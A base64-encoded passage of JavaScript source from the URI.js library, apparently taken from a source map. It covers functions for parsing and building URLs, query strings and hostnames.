XJuIFVSSS5wYXJzZUhvc3Qoc3RyaW5nLCBwYXJ0cyk7XG4gIH07XG4gIFVSSS5wYXJzZVVzZXJpbmZvID0gZnVuY3Rpb24oc3RyaW5nLCBwYXJ0cykge1xuICAgIC8vIGV4dHJhY3QgdXNlcm5hbWU6cGFzc3dvcmRcbiAgICB2YXIgZmlyc3RTbGFzaCA9IHN0cmluZy5pbmRleE9mKCcvJyk7XG4gICAgdmFyIHBvcyA9IHN0cmluZy5sYXN0SW5kZXhPZignQCcsIGZpcnN0U2xhc2ggPiAtMSA/IGZpcnN0U2xhc2ggOiBzdHJpbmcubGVuZ3RoIC0gMSk7XG4gICAgdmFyIHQ7XG5cbiAgICAvLyBhdXRob3JpdHlAIG11c3QgY29tZSBiZWZvcmUgL3BhdGhcbiAgICBpZiAocG9zID4gLTEgJiYgKGZpcnN0U2xhc2ggPT09IC0xIHx8IHBvcyA8IGZpcnN0U2xhc2gpKSB7XG4gICAgICB0ID0gc3RyaW5nLnN1YnN0cmluZygwLCBwb3MpLnNwbGl0KCc6Jyk7XG4gICAgICBwYXJ0cy51c2VybmFtZSA9IHRbMF0gPyBVUkkuZGVjb2RlKHRbMF0pIDogbnVsbDtcbiAgICAgIHQuc2hpZnQoKTtcbiAgICAgIHBhcnRzLnBhc3N3b3JkID0gdFswXSA/IFVSSS5kZWNvZGUodC5qb2luKCc6JykpIDogbnVsbDtcbiAgICAgIHN0cmluZyA9IHN0cmluZy5zdWJzdHJpbmcocG9zICsgMSk7XG4gICAgfSBlbHNlIHtcbiAgICAgIHBhcnRzLnVzZXJuYW1lID0gbnVsbDtcbiAgICAgIHBhcnRzLnBhc3N3b3JkID0gbnVsbDtcbiAgICB9XG5cbiAgICByZXR1cm4gc3RyaW5nO1xuICB9O1xuICBVUkkucGFyc2VRdWVyeSA9IGZ1bmN0aW9uKHN0cmluZywgZXNjYXBlUXVlcnlTcGFjZSkge1xuICAgIGlmICghc3RyaW5nKSB7XG4gICAgICByZXR1cm4ge307XG4gICAgfVxuXG4gICAgLy8gdGhyb3cgb3V0IHRoZSBmdW5reSBidXNpbmVzcyAtIFwiP1wiW25hbWVcIj1cInZhbHVlXCImXCJdK1xuICAgIHN0cmluZyA9IHN0cmluZy5yZXBsYWNlKC8mKy9nLCAnJicpLnJlcGxhY2UoL15cXD8qJip8JiskL2csICcnKTtcblxuICAgIGlmICghc3RyaW5nKSB7XG4gICAgICByZXR1cm4ge307XG4gICAgfVxuXG4gICAgdmFyIGl0ZW1zID0ge307XG4gICAgdmFyIHNwbGl0cyA9IHN0cmluZy5zcGxpdCgnJicpO1xuICAgIHZhciBsZW5ndGggPSBzcGxpdHMubGVuZ3RoO1xuICAgIHZhciB2LCBuYW1lLCB2YWx1ZTtcblxuICAgIGZvciAodmFyIGkgPSAwOyBpIDwgbGVuZ3RoOyBpKyspIHtcbiAgICAgIHYgPSBzcGxpdHNbaV0uc3BsaXQoJz0nKTtcbiAgICAgIG5hbWUgPSBVUkkuZGVjb2RlUXVlcnkodi5zaGlmdCgpLCBlc2NhcGVRdWVyeVNwYWNlKTtcbiAgICAgIC8vIG5vIFwiPVwiIGlzIG51bGwgYWNjb3JkaW5nIHRvIGh0dHA6Ly9kdmNzLnczLm9yZy9oZy91cmwvcmF3LWZpbGUvdGlwL092ZXJ2aWV3Lmh0bWwjY29sbGVjdC11cmwtcGFyYW1ldGVyc1xuICAgICAgdmFsdWUgPSB2Lmxlbmd0aCA/IFVSSS5kZWNvZGVRdWVyeSh2LmpvaW4oJz0nKSwgZXNjYXBlUXVlcnlTcGFjZSkgOiBudWxsO1xuXG4gICAgICBpZiAoaGFzT3duLmNhbGwoaXRlbXMsIG5hbWUpKSB7XG4gICAgICAgIGlmICh0eXBlb2YgaXRlbXNbbmFtZV0gPT09ICdzdHJpbmcnIHx8IGl0ZW1zW25hbWVdID09PSBudWxsKSB7XG4gICAgICAgICAgaXRlbXNbbmFtZV0gPSBbaXRlbXNbbmFtZV1dO1xuICAgICAgICB9XG5cbiAgICAgICAgaXRlbXNbbmFtZV0ucHVzaCh2YWx1ZSk7XG4gICAgICB9IGVsc2Uge1xuICAgICAgICBpdGVtc1tuYW1lXSA9IHZhbHVlO1xuICAgICAgfVxuICAgIH1cblxuICAgIHJldHVybiBpdGVtcztcbiAgfTtcblxuICBVUkkuYnVpbGQgPSBmdW5jdGlvbihwYXJ0cykge1xuICAgIHZhciB0ID0gJyc7XG5cbiAgICBpZiAocGFydHMucHJvdG9jb2wpIHtcbiAgICAgIHQgKz0gcGFydHMucHJvdG9jb2wgKyAnOic7XG4gICAgfVxuXG4gICAgaWYgKCFwYXJ0cy51cm4gJiYgKHQgfHwgcGFydHMuaG9zdG5hbWUpKSB7XG4gICAgICB0ICs9ICcvLyc7XG4gICAgfVxuXG4gICAgdCArPSAoVVJJLmJ1aWxkQXV0aG9yaXR5KHBhcnRzKSB8fCAnJyk7XG5cbiAgICBpZiAodHlwZW9mIHBhcnRzLnBhdGggPT09ICdzdHJpbmcnKSB7XG4gICAgICBpZiAocGFydHMucGF0aC5jaGFyQXQoMCkgIT09ICcvJyAmJiB0eXBlb2YgcGFydHMuaG9zdG5hbWUgPT09ICdzdHJpbmcnKSB7XG4gICAgICAgIHQgKz0gJy8nO1xuICAgICAgfVxuXG4gICAgICB0ICs9IHBhcnRzLnBhdGg7XG4gICAgfVxuXG4gICAgaWYgKHR5cGVvZiBwYXJ0cy5xdWVyeSA9PT0gJ3N0cmluZycgJiYgcGFydHMucXVlcnkpIHtcbiAgICAgIHQgKz0gJz8nICsgcGFydHMucXVlcnk7XG4gICAgfVxuXG4gICAgaWYgKHR5cGVvZiBwYXJ0cy5mcmFnbWVudCA9PT0gJ3N0cmluZycgJiYgcGFydHMuZnJhZ21lbnQpIHtcbiAgICAgIHQgKz0gJyMnICsgcGFydHMuZnJhZ21lbnQ7XG4gICAgfVxuICAgIHJldHVybiB0O1xuICB9O1xuICBVUkkuYnVpbGRIb3N0ID0gZnVuY3Rpb24ocGFydHMpIHtcbiAgICB2YXIgdCA9ICcnO1xuXG4gICAgaWYgKCFwYXJ0cy5ob3N0bmFtZSkge1xuICAgICAgcmV0dXJuICcnO1xuICAgIH0gZWxzZSBpZiAoVVJJLmlwNl9leHByZXNzaW9uLnRlc3QocGFydHMuaG9zdG5hbWUpKSB7XG4gICAgICB0ICs9ICdbJyArIHBhcnRzLmhvc3RuYW1lICsgJ10nO1xuICAgIH0gZWxzZSB7XG4gICAgICB0ICs9IHBhcnRzLmhvc3RuYW1lO1xuICAgIH1cblxuICAgIGlmIChwYXJ0cy5wb3J0KSB7XG4gICAgICB0ICs9ICc6JyArIHBhcnRzLnBvcnQ7XG4gICAgfVxuXG4gICAgcmV0dXJuIHQ7XG4gIH07XG4gIFVSSS5idWlsZEF1dGhvcml0eSA9IGZ1bmN0aW9uKHBhcnRzKSB7XG4gICAgcmV0dXJuIFVSSS5idWlsZFVzZXJpbmZvKHBhcnRzKSArIFVSSS5idWlsZEhvc3QocGFydHMpO1xuICB9O1xuICBVUkkuYnVpbGRVc2VyaW5mbyA9IGZ1bmN0aW9uKHBhcnRzKSB7XG4gICAgdmFyIHQgPSAnJztcblxuICAgIGlmIChwYXJ0cy51c2VybmFtZSkge1xuICAgICAgdCArPSBVUkkuZW5jb2RlKHBhcnRzLnVzZXJuYW1lKTtcblxuICAgICAgaWYgKHBhcnRzLnBhc3N3b3JkKSB7XG4gICAgICAgIHQgKz0gJzonICsgVVJJLmVuY29kZShwYXJ0cy5wYXNzd29yZCk7XG4gICAgICB9XG5cbiAgICAgIHQgKz0gJ0AnO1xuICAgIH1cblxuICAgIHJldHVybiB0O1xuICB9O1xuICBVUkkuYnVpbGRRdWVyeSA9IGZ1bmN0aW9uKGRhdGEsIGR1cGxpY2F0ZVF1ZXJ5UGFyYW1ldGVycywgZXNjYXBlUXVlcnlTcGFjZSkge1xuICAgIC8vIGFjY29yZGluZyB0byBodHRwOi8vdG9vbHMuaWV0Zi5vcmcvaHRtbC9yZmMzOTg2IG9yIGh0dHA6Ly9sYWJzLmFwYWNoZS5vcmcvd2ViYXJjaC91cmkvcmZjL3JmYzM5ODYuaHRtbFxuICAgIC8vIGJlaW5nIMK7LS5ffiEkJicoKSorLDs9OkAvP8KrICVIRVggYW5kIGFsbnVtIGFyZSBhbGxvd2VkXG4gICAgLy8gdGhlIFJGQyBleHBsaWNpdGx5IHN0YXRlcyA/L2ZvbyBiZWluZyBhIHZhbGlkIHVzZSBjYXNlLCBubyBtZW50aW9uIG9mIHBhcmFtZXRlciBzeW50YXghXG4gICAgLy8gVVJJLmpzIHRyZWF0cyB0aGUgcXVlcnkgc3RyaW5nIGFzIGJlaW5nIGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZFxuICAgIC8vIHNlZSBodHRwOi8vd3d3LnczLm9yZy9UUi9SRUMtaHRtbDQwL2ludGVyYWN0L2Zvcm1zLmh0bWwjZm9ybS1jb250ZW50LXR5cGVcblxuICAgIHZhciB0ID0gJyc7XG4gICAgdmFyIHVuaXF1ZSwga2V5LCBpLCBsZW5ndGg7XG4gICAgZm9yIChrZXkgaW4gZGF0YSkge1xuICAgICAgaWYgKGhhc093bi5jYWxsKGRhdGEsIGtleSkgJiYga2V5KSB7XG4gICAgICAgIGlmIChpc0FycmF5KGRhdGFba2V5XSkpIHtcbiAgICAgICAgICB1bmlxdWUgPSB7fTtcbiAgICAgICAgICBmb3IgKGkgPSAwLCBsZW5ndGggPSBkYXRhW2tleV0ubGVuZ3RoOyBpIDwgbGVuZ3RoOyBpKyspIHtcbiAgICAgICAgICAgIGlmIChkYXRhW2tleV1baV0gIT09IHVuZGVmaW5lZCAmJiB1bmlxdWVbZGF0YVtrZXldW2ldICsgJyddID09PSB1bmRlZmluZWQpIHtcbiAgICAgICAgICAgICAgdCArPSAnJicgKyBVUkkuYnVpbGRRdWVyeVBhcmFtZXRlcihrZXksIGRhdGFba2V5XVtpXSwgZXNjYXBlUXVlcnlTcGFjZSk7XG4gICAgICAgICAgICAgIGlmIChkdXBsaWNhdGVRdWVyeVBhcmFtZXRlcnMgIT09IHRydWUpIHtcbiAgICAgICAgICAgICAgICB1bmlxdWVbZGF0YVtrZXldW2ldICsgJyddID0gdHJ1ZTtcbiAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICAgIH1cbiAgICAgICAgfSBlbHNlIGlmIChkYXRhW2tleV0gIT09IHVuZGVmaW5lZCkge1xuICAgICAgICAgIHQgKz0gJyYnICsgVVJJLmJ1aWxkUXVlcnlQYXJhbWV0ZXIoa2V5LCBkYXRhW2tleV0sIGVzY2FwZVF1ZXJ5U3BhY2UpO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuXG4gICAgcmV0dXJuIHQuc3Vic3RyaW5nKDEpO1xuICB9O1xuICBVUkkuYnVpbGRRdWVyeVBhcmFtZXRlciA9IGZ1bmN0aW9uKG5hbWUsIHZhbHVlLCBlc2NhcGVRdWVyeVNwYWNlKSB7XG4gICAgLy8gaHR0cDovL3d3dy53My5vcmcvVFIvUkVDLWh0bWw0MC9pbnRlcmFjdC9mb3Jtcy5odG1sI2Zvcm0tY29udGVudC10eXBlIC0tIGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZFxuICAgIC8vIGRvbid0IGFwcGVuZCBcIj1cIiBmb3IgbnVsbCB2YWx1ZXMsIGFjY29yZGluZyB0byBodHRwOi8vZHZjcy53My5vcmcvaGcvdXJsL3Jhdy1maWxlL3RpcC9PdmVydmlldy5odG1sI3VybC1wYXJhbWV0ZXItc2VyaWFsaXphdGlvblxuICAgIHJldHVybiBVUkkuZW5jb2RlUXVlcnkobmFtZSwgZXNjYXBlUXVlcnlTcGFjZSkgKyAodmFsdWUgIT09IG51bGwgPyAnPScgKyBVUkkuZW5jb2RlUXVlcnkodmFsdWUsIGVzY2FwZVF1ZXJ5U3BhY2UpIDogJycpO1xuICB9O1xuXG4gIFVSSS5hZGRRdWVyeSA9IGZ1bmN0aW9uKGRhdGEsIG5hbWUsIHZhbHVlKSB7XG4gICAgaWYgKHR5cGVvZiBuYW1lID09PSAnb2JqZWN0Jykge1xuICAgICAgZm9yICh2YXIga2V5IGluIG5hbWUpIHtcbiAgICAgICAgaWYgKGhhc093bi5jYWxsKG5hbWUsIGtleSkpIHtcbiAgICAgICAgICBVUkkuYWRkUXVlcnkoZGF0YSwga2V5LCBuYW1lW2tleV0pO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgfSBlbHNlIGlmICh0eXBlb2YgbmFtZSA9PT0gJ3N0cmluZycpIHtcbiAgICAgIGlmIChkYXRhW25hbWVdID09PSB1bmRlZmluZWQpIHtcbiAgICAgICAgZGF0YVtuYW1lXSA9IHZhbHVlO1xuICAgICAgICByZXR1cm47XG4gICAgICB9IGVsc2UgaWYgKHR5cGVvZiBkYXRhW25hbWVdID09PSAnc3RyaW5nJykge1xuICAgICAgICBkYXRhW25hbWVdID0gW2RhdGFbbmFtZV1dO1xuICAgICAgfVxuXG4gICAgICBpZiAoIWlzQXJyYXkodmFsdWUpKSB7XG4gICAgICAgIHZhbHVlID0gW3ZhbHVlXTtcbiAgICAgIH1cblxuICAgICAgZGF0YVtuYW1lXSA9IChkYXRhW25hbWVdIHx8IFtdKS5jb25jYXQodmFsdWUpO1xuICAgIH0gZWxzZSB7XG4gICAgICB0aHJvdyBuZXcgVHlwZUVycm9yKCdVUkkuYWRkUXVlcnkoKSBhY2NlcHRzIGFuIG9iamVjdCwgc3RyaW5nIGFzIHRoZSBuYW1lIHBhcmFtZXRlcicpO1xuICAgIH1cbiAgfTtcbiAgVVJJLnJlbW92ZVF1ZXJ5ID0gZnVuY3Rpb24oZGF0YSwgbmFtZSwgdmFsdWUpIHtcbiAgICB2YXIgaSwgbGVuZ3RoLCBrZXk7XG5cbiAgICBpZiAoaXNBcnJheShuYW1lKSkge1xuICAgICAgZm9yIChpID0gMCwgbGVuZ3RoID0gbmFtZS5sZW5ndGg7IGkgPCBsZW5ndGg7IGkrKykge1xuICAgICAgICBkYXRhW25hbWVbaV1dID0gdW5kZWZpbmVkO1xuICAgICAgfVxuICAgIH0gZWxzZSBpZiAoZ2V0VHlwZShuYW1lKSA9PT0gJ1JlZ0V4cCcpIHtcbiAgICAgIGZvciAoa2V5IGluIGRhdGEpIHtcbiAgICAgICAgaWYgKG5hbWUudGVzdChrZXkpKSB7XG4gICAgICAgICAgZGF0YVtrZXldID0gdW5kZWZpbmVkO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgfSBlbHNlIGlmICh0eXBlb2YgbmFtZSA9PT0gJ29iamVjdCcpIHtcbiAgICAgIGZvciAoa2V5IGluIG5hbWUpIHtcbiAgICAgICAgaWYgKGhhc093bi5jYWxsKG5hbWUsIGtleSkpIHtcbiAgICAgICAgICBVUkkucmVtb3ZlUXVlcnkoZGF0YSwga2V5LCBuYW1lW2tleV0pO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgfSBlbHNlIGlmICh0eXBlb2YgbmFtZSA9PT0gJ3N0cmluZycpIHtcbiAgICAgIGlmICh2YWx1ZSAhPT0gdW5kZWZpbmVkKSB7XG4gICAgICAgIGlmIChnZXRUeXBlKHZhbHVlKSA9PT0gJ1JlZ0V4cCcpIHtcbiAgICAgICAgICBpZiAoIWlzQXJyYXkoZGF0YVtuYW1lXSkgJiYgdmFsdWUudGVzdChkYXRhW25hbWVdKSkge1xuICAgICAgICAgICAgZGF0YVtuYW1lXSA9IHVuZGVmaW5lZDtcbiAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgZGF0YVtuYW1lXSA9IGZpbHRlckFycmF5VmFsdWVzKGRhdGFbbmFtZV0sIHZhbHVlKTtcbiAgICAgICAgICB9XG4gICAgICAgIH0gZWxzZSBpZiAoZGF0YVtuYW1lXSA9PT0gU3RyaW5nKHZhbHVlKSAmJiAoIWlzQXJyYXkodmFsdWUpIHx8IHZhbHVlLmxlbmd0aCA9PT0gMSkpIHtcbiAgICAgICAgICBkYXRhW25hbWVdID0gdW5kZWZpbmVkO1xuICAgICAgICB9IGVsc2UgaWYgKGlzQXJyYXkoZGF0YVtuYW1lXSkpIHtcbiAgICAgICAgICBkYXRhW25hbWVdID0gZmlsdGVyQXJyYXlWYWx1ZXMoZGF0YVtuYW1lXSwgdmFsdWUpO1xuICAgICAgICB9XG4gICAgICB9IGVsc2Uge1xuICAgICAgICBkYXRhW25hbWVdID0gdW5kZWZpbmVkO1xuICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICB0aHJvdyBuZXcgVHlwZUVycm9yKCdVUkkucmVtb3ZlUXVlcnkoKSBhY2NlcHRzIGFuIG9iamVjdCwgc3RyaW5nLCBSZWdFeHAgYXMgdGhlIGZpcnN0IHBhcmFtZXRlcicpO1xuICAgIH1cbiAgfTtcbiAgVVJJLmhhc1F1ZXJ5ID0gZnVuY3Rpb24oZGF0YSwgbmFtZSwgdmFsdWUsIHdpdGhpbkFycmF5KSB7XG4gICAgaWYgKHR5cGVvZiBuYW1lID09PSAnb2JqZWN0Jykge1xuICAgICAgZm9yICh2YXIga2V5IGluIG5hbWUpIHtcbiAgICAgICAgaWYgKGhhc093bi5jYWxsKG5hbWUsIGtleSkpIHtcbiAgICAgICAgICBpZiAoIVVSSS5oYXNRdWVyeShkYXRhLCBrZXksIG5hbWVba2V5XSkpIHtcbiAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgIH1cblxuICAgICAgcmV0dXJuIHRydWU7XG4gICAgfSBlbHNlIGlmICh0eXBlb2YgbmFtZSAhPT0gJ3N0cmluZycpIHtcbiAgICAgIHRocm93IG5ldyBUeXBlRXJyb3IoJ1VSSS5oYXNRdWVyeSgpIGFjY2VwdHMgYW4gb2JqZWN0LCBzdHJpbmcgYXMgdGhlIG5hbWUgcGFyYW1ldGVyJyk7XG4gICAgfVxuXG4gICAgc3dpdGNoIChnZXRUeXBlKHZhbHVlKSkge1xuICAgICAgY2FzZSAnVW5kZWZpbmVkJzpcbiAgICAgICAgLy8gdHJ1ZSBpZiBleGlzdHMgKGJ1dCBtYXkgYmUgZW1wdHkpXG4gICAgICAgIHJldHVybiBuYW1lIGluIGRhdGE7IC8vIGRhdGFbbmFtZV0gIT09IHVuZGVmaW5lZDtcblxuICAgICAgY2FzZSAnQm9vbGVhbic6XG4gICAgICAgIC8vIHRydWUgaWYgZXhpc3RzIGFuZCBub24tZW1wdHlcbiAgICAgICAgdmFyIF9ib29seSA9IEJvb2xlYW4oaXNBcnJheShkYXRhW25hbWVdKSA/IGRhdGFbbmFtZV0ubGVuZ3RoIDogZGF0YVtuYW1lXSk7XG4gICAgICAgIHJldHVybiB2YWx1ZSA9PT0gX2Jvb2x5O1xuXG4gICAgICBjYXNlICdGdW5jdGlvbic6XG4gICAgICAgIC8vIGFsbG93IGNvbXBsZXggY29tcGFyaXNvblxuICAgICAgICByZXR1cm4gISF2YWx1ZShkYXRhW25hbWVdLCBuYW1lLCBkYXRhKTtcblxuICAgICAgY2FzZSAnQXJyYXknOlxuICAgICAgICBpZiAoIWlzQXJyYXkoZGF0YVtuYW1lXSkpIHtcbiAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cblxuICAgICAgICB2YXIgb3AgPSB3aXRoaW5BcnJheSA/IGFycmF5Q29udGFpbnMgOiBhcnJheXNFcXVhbDtcbiAgICAgICAgcmV0dXJuIG9wKGRhdGFbbmFtZV0sIHZhbHVlKTtcblxuICAgICAgY2FzZSAnUmVnRXhwJzpcbiAgICAgICAgaWYgKCFpc0FycmF5KGRhdGFbbmFtZV0pKSB7XG4gICAgICAgICAgcmV0dXJuIEJvb2xlYW4oZGF0YVtuYW1lXSAmJiBkYXRhW25hbWVdLm1hdGNoKHZhbHVlKSk7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoIXdpdGhpbkFycmF5KSB7XG4gICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG5cbiAgICAgICAgcmV0dXJuIGFycmF5Q29udGFpbnMoZGF0YVtuYW1lXSwgdmFsdWUpO1xuXG4gICAgICBjYXNlICdOdW1iZXInOlxuICAgICAgICB2YWx1ZSA9IFN0cmluZyh2YWx1ZSk7XG4gICAgICAgIC8qIGZhbGxzIHRocm91Z2ggKi9cbiAgICAgIGNhc2UgJ1N0cmluZyc6XG4gICAgICAgIGlmICghaXNBcnJheShkYXRhW25hbWVdKSkge1xuICAgICAgICAgIHJldHVybiBkYXRhW25hbWVdID09PSB2YWx1ZTtcbiAgICAgICAgfVxuXG4gICAgICAgIGlmICghd2l0aGluQXJyYXkpIHtcbiAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cblxuICAgICAgICByZXR1cm4gYXJyYXlDb250YWlucyhkYXRhW25hbWVdLCB2YWx1ZSk7XG5cbiAgICAgIGRlZmF1bHQ6XG4gICAgICAgIHRocm93IG5ldyBUeXBlRXJyb3IoJ1VSSS5oYXNRdWVyeSgpIGFjY2VwdHMgdW5kZWZpbmVkLCBib29sZWFuLCBzdHJpbmcsIG51bWJlciwgUmVnRXhwLCBGdW5jdGlvbiBhcyB0aGUgdmFsdWUgcGFyYW1ldGVyJyk7XG4gICAgfVxuICB9O1xuXG5cbiAgVVJJLmNvbW1vblBhdGggPSBmdW5jdGlvbihvbmUsIHR3bykge1xuICAgIHZhciBsZW5ndGggPSBNYXRoLm1pbihvbmUubGVuZ3RoLCB0d28ubGVuZ3RoKTtcbiAgICB2YXIgcG9zO1xuXG4gICAgLy8gZmluZCBmaXJzdCBub24tbWF0Y2hpbmcgY2hhcmFjdGVyXG4gICAgZm9yIChwb3MgPSAwOyBwb3MgPCBsZW5ndGg7IHBvcysrKSB7XG4gICAgICBpZiAob25lLmNoYXJBdChwb3MpICE9PSB0d28uY2hhckF0KHBvcykpIHtcbiAgICAgICAgcG9zLS07XG4gICAgICAgIGJyZWFrO1xuICAgICAgfVxuICAgIH1cblxuICAgIGlmIChwb3MgPCAxKSB7XG4gICAgICByZXR1cm4gb25lLmNoYXJBdCgwKSA9PT0gdHdvLmNoYXJBdCgwKSAmJiBvbmUuY2hhckF0KDApID09PSAnLycgPyAnLycgOiAnJztcbiAgICB9XG5cbiAgICAvLyByZXZlcnQgdG8gbGFzdCAvXG4gICAgaWYgKG9uZS5jaGFyQXQocG9zKSAhPT0gJy8nIHx8IHR3by5jaGFyQXQocG9zKSAhPT0gJy8nKSB7XG4gICAgICBwb3MgPSBvbmUuc3Vic3RyaW5nKDAsIHBvcykubGFzdEluZGV4T2YoJy8nKTtcbiAgICB9XG5cbiAgICByZXR1cm4gb25lLnN1YnN0cmluZygwLCBwb3MgKyAxKTtcbiAgfTtcblxuICBVUkkud2l0aGluU3RyaW5nID0gZnVuY3Rpb24oc3RyaW5nLCBjYWxsYmFjaywgb3B0aW9ucykge1xuICAgIG9wdGlvbnMgfHwgKG9wdGlvbnMgPSB7fSk7XG4gICAgdmFyIF9zdGFydCA9IG9wdGlvbnMuc3RhcnQgfHwgVVJJLmZpbmRVcmkuc3RhcnQ7XG4gICAgdmFyIF9lbmQgPSBvcHRpb25zLmVuZCB8fCBVUkkuZmluZFVyaS5lbmQ7XG4gICAgdmFyIF90cmltID0gb3B0aW9ucy50cmltIHx8IFVSSS5maW5kVXJpLnRyaW07XG4gICAgdmFyIF9hdHRyaWJ1dGVPcGVuID0gL1thLXowLTktXT1bXCInXT8kL2k7XG5cbiAgICBfc3RhcnQubGFzdEluZGV4ID0gMDtcbiAgICB3aGlsZSAodHJ1ZSkge1xuICAgICAgdmFyIG1hdGNoID0gX3N0YXJ0LmV4ZWMoc3RyaW5nKTtcbiAgICAgIGlmICghbWF0Y2gpIHtcbiAgICAgICAgYnJlYWs7XG4gICAgICB9XG5cbiAgICAgIHZhciBzdGFydCA9IG1hdGNoLmluZGV4O1xuICAgICAgaWYgKG9wdGlvbnMuaWdub3JlSHRtbCkge1xuICAgICAgICAvLyBhdHRyaWJ1dChlPVtcIiddPyQpXG4gICAgICAgIHZhciBhdHRyaWJ1dGVPcGVuID0gc3RyaW5nLnNsaWNlKE1hdGgubWF4KHN0YXJ0IC0gMywgMCksIHN0YXJ0KTtcbiAgICAgICAgaWYgKGF0dHJpYnV0ZU9wZW4gJiYgX2F0dHJpYnV0ZU9wZW4udGVzdChhdHRyaWJ1dGVPcGVuKSkge1xuICAgICAgICAgIGNvbnRpbnVlO1xuICAgICAgICB9XG4gICAgICB9XG5cbiAgICAgIHZhciBlbmQgPSBzdGFydCArIHN0cmluZy5zbGljZShzdGFydCkuc2VhcmNoKF9lbmQpO1xuICAgICAgdmFyIHNsaWNlID0gc3RyaW5nLnNsaWNlKHN0YXJ0LCBlbmQpLnJlcGxhY2UoX3RyaW0sICcnKTtcbiAgICAgIGlmIChvcHRpb25zLmlnbm9yZSAmJiBvcHRpb25zLmlnbm9yZS50ZXN0KHNsaWNlKSkge1xuICAgICAgICBjb250aW51ZTtcbiAgICAgIH1cblxuICAgICAgZW5kID0gc3RhcnQgKyBzbGljZS5sZW5ndGg7XG4gICAgICB2YXIgcmVzdWx0ID0gY2FsbGJhY2soc2xpY2UsIHN0YXJ0LCBlbmQsIHN0cmluZyk7XG4gICAgICBzdHJpbmcgPSBzdHJpbmcuc2xpY2UoMCwgc3RhcnQpICsgcmVzdWx0ICsgc3RyaW5nLnNsaWNlKGVuZCk7XG4gICAgICBfc3RhcnQubGFzdEluZGV4ID0gc3RhcnQgKyByZXN1bHQubGVuZ3RoO1xuICAgIH1cblxuICAgIF9zdGFydC5sYXN0SW5kZXggPSAwO1xuICAgIHJldHVybiBzdHJpbmc7XG4gIH07XG5cbiAgVVJJLmVuc3VyZVZhbGlkSG9zdG5hbWUgPSBmdW5jdGlvbih2KSB7XG4gICAgLy8gVGhlb3JldGljYWxseSBVUklzIGFsbG93IHBlcmNlbnQtZW5jb2RpbmcgaW4gSG9zdG5hbWVzIChhY2NvcmRpbmcgdG8gUkZDIDM5ODYpXG4gICAgLy8gdGhleSBhcmUgbm90IHBhcnQgb2YgRE5TIGFuZCB0aGVyZWZvcmUgaWdub3JlZCBieSBVUkkuanNcblxuICAgIGlmICh2Lm1hdGNoKFVSSS5pbnZhbGlkX2hvc3RuYW1lX2NoYXJhY3RlcnMpKSB7XG4gICAgICAvLyB0ZXN0IHB1bnljb2RlXG4gICAgICBpZiAoIXB1bnljb2RlKSB7XG4gICAgICAgIHRocm93IG5ldyBUeXBlRXJyb3IoJ0hvc3RuYW1lIFwiJyArIHYgKyAnXCIgY29udGFpbnMgY2hhcmFjdGVycyBvdGhlciB0aGFuIFtBLVowLTkuLV0gYW5kIFB1bnljb2RlLmpzIGlzIG5vdCBhdmFpbGFibGUnKTtcbiAgICAgIH1cblxuICAgICAgaWYgKHB1bnljb2RlLnRvQVNDSUkodikubWF0Y2goVVJJLmludmFsaWRfaG9zdG5hbWVfY2hhcmFjdGVycykpIHtcbiAgICAgICAgdGhyb3cgbmV3IFR5cGVFcnJvcignSG9zdG5hbWUgXCInICsgdiArICdcIiBjb250YWlucyBjaGFyYWN0ZXJzIG90aGVyIHRoYW4gW0EtWjAtOS4tXScpO1xuICAgICAgfVxuICAgIH1cbiAgfTtcblxuICAvLyBub0NvbmZsaWN0XG4gIFVSSS5ub0NvbmZsaWN0ID0gZnVuY3Rpb24ocmVtb3ZlQWxsKSB7XG4gICAgaWYgKHJlbW92ZUFsbCkge1xuICAgICAgdmFyIHVuY29uZmxpY3RlZCA9IHtcbiAgICAgICAgVVJJOiB0aGlzLm5vQ29uZmxpY3QoKVxuICAgICAgfTtcblxuICAgICAgaWYgKHJvb3QuVVJJVGVtcGxhdGUgJiYgdHlwZW9mIHJvb3QuVVJJVGVtcGxhdGUubm9Db25mbGljdCA9PT0gJ2Z1bmN0aW9uJykge1xuICAgICAgICB1bmNvbmZsaWN0ZWQuVVJJVGVtcGxhdGUgPSByb290LlVSSVRlbXBsYXRlLm5vQ29uZmxpY3QoKTtcbiAgICAgIH1cblxuICAgICAgaWYgKHJvb3QuSVB2NiAmJiB0eXBlb2Ygcm9vdC5JUHY2Lm5vQ29uZmxpY3QgPT09ICdmdW5jdGlvbicpIHtcbiAgICAgICAgdW5jb25mbGljdGVkLklQdjYgPSByb290LklQdjYubm9Db25mbGljdCgpO1xuICAgICAgfVxuXG4gICAgICBpZiAocm9vdC5TZWNvbmRMZXZlbERvbWFpbnMgJiYgdHlwZW9mIHJvb3QuU2Vjb25kTGV2ZWxEb21haW5zLm5vQ29uZmxpY3QgPT09ICdmdW5jdGlvbicpIHtcbiAgICAgICAgdW5jb25mbGljdGVkLlNlY29uZExldmVsRG9tYWlucyA9IHJvb3QuU2Vjb25kTGV2ZWxEb21haW5zLm5vQ29uZmxpY3QoKTtcbiAgICAgIH1cblxuICAgICAgcmV0dXJuIHVuY29uZmxpY3RlZDtcbiAgICB9IGVsc2UgaWYgKHJvb3QuVVJJID09PSB0aGlzKSB7XG4gICAgICByb290LlVSSSA9IF9VUkk7XG4gICAgfVxuXG4gICAgcmV0dXJuIHRoaXM7XG4gIH07XG5cbiAgcC5idWlsZCA9IGZ1bmN0aW9uKGRlZmVyQnVpbGQpIHtcbiAgICBpZiAoZGVmZXJCdWlsZCA9PT0gdHJ1ZSkge1xuICAgICAgdGhpcy5fZGVmZXJyZWRfYnVpbGQgPSB0cnVlO1xuICAgIH0gZWxzZSBpZiAoZGVmZXJCdWlsZCA9PT0gdW5kZWZpbmVkIHx8IHRoaXMuX2RlZmVycmVkX2J1aWxkKSB